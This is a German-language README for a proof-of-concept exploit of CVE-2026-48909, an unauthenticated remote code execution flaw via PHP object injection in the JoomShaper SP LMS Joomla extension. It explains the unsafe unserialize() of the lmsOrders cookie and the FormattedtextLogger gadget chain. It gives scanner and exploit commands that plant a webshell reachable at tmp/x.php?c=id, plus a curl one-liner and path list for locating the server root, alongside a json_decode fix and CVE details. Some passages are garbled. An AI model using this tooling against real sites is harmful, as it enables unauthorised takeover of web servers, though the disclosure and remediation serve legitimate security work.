
Proof-of-Concept-Exploit für CVE-2026-48909: nicht authentifizierte Remote-Code-Ausführung durch PHP-Objektinjektion in JoomShaper SP LMS. Enthält Anleitungen zur Erkennung, Ausnutzung und Behebung.
Nicht authentifizierte Remote Code Execution durch PHP Object Injection in JoomShaper SP LMS (com_splms) ≤ 4.1.3 für Joomla CMS.
Autor: Amin İsayev / Proxima Cyber Security
SP LMS ist eine beliebte Joomla-Lernmanagement-Erweiterung von JoomShaper mit über 100.000 Installationen. Versionen ≤ 4.1.3 übergeben das lmsOrders-Cookie direkt an unserialize(), ohne jegliche Validierung. Dadurch kann ein nicht authentifizierter Angreifer ein bösartiges PHP-Objekt injizieren und über die native Gadget-Chain von Joomla Remote Code Execution erlangen.
components/com_splms/models/cart.php Zeile 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← ungeprüfte Benutzereingabe
Das lmsOrders-Cookie wird base64-dekodiert und direkt an unserialize() übergeben. Ein Angreifer kontrolliert das deserialisierte Objekt vollständig.
Die Klasse FormattedtextLogger von Joomla stellt das Gadget bereit:
lmsOrders-Cookie (vom Angreifer kontrolliert)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla-Gadget]
└─► initFile() → File::write($path, $format)
└─► PHP-Code auf Datenträger geschrieben → RCE
Hinweis: RCE erfordert Joomla < 5.2.2.
Joomla 5.2.2 hatFormattedtextLogger.__wakeup()gepatcht (siehe PR #44428).
Die PHP Object Injection besteht in com_splms ≤ 4.1.3 auf allen Joomla-Versionen weiterhin.
Joomlas Input\Cookie::get() wendet standardmäßig einen cmd-Filter an, der +, / und = aus dem Cookie-Wert entfernt — Zeichen, die in standardmäßigem Base64 vorkommen. Der Exploit verwendet:
$, _, {, }, \n) zu vermeiden=-Padding)/ und + aus der Base64-Ausgabe zu eliminierenpython3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell aktiv unter
https://target.com/tmp/x.php?c=id
Den Serverpfad ermitteln (falls unbekannt):
# cPanel-Hosting — Pfad wird aus Joomla-Fehlerseiten geleakt
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Häufige Pfade zum Ausprobieren:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders-Cookie vor der Deserialisierung validieren und bereinigen:// Verwenden Sie KEIN unserialize() für benutzerkontrollierte Daten
// Verwenden Sie stattdessen json_encode/json_decode
$cartItems = json_decode(base64_decode($raw), true) ?? [];
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests veröffentlicht.
Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
Amin İsayev / Proxima Cyber Security — 2026
| Feld | Details |
|---|
| CVE-ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| Betroffen | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| Behoben in | SP LMS ≥ 4.1.4 |
| Joomla-Anforderung | < 5.2.2 (Gadget-Chain in 5.2.2 gepatcht) |
| CVSS 4.0 | 9.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Authentifizierung erforderlich | Keine |
| Offengelegt | 2026-05-26 |
| Veröffentlicht | 2026-06-20 |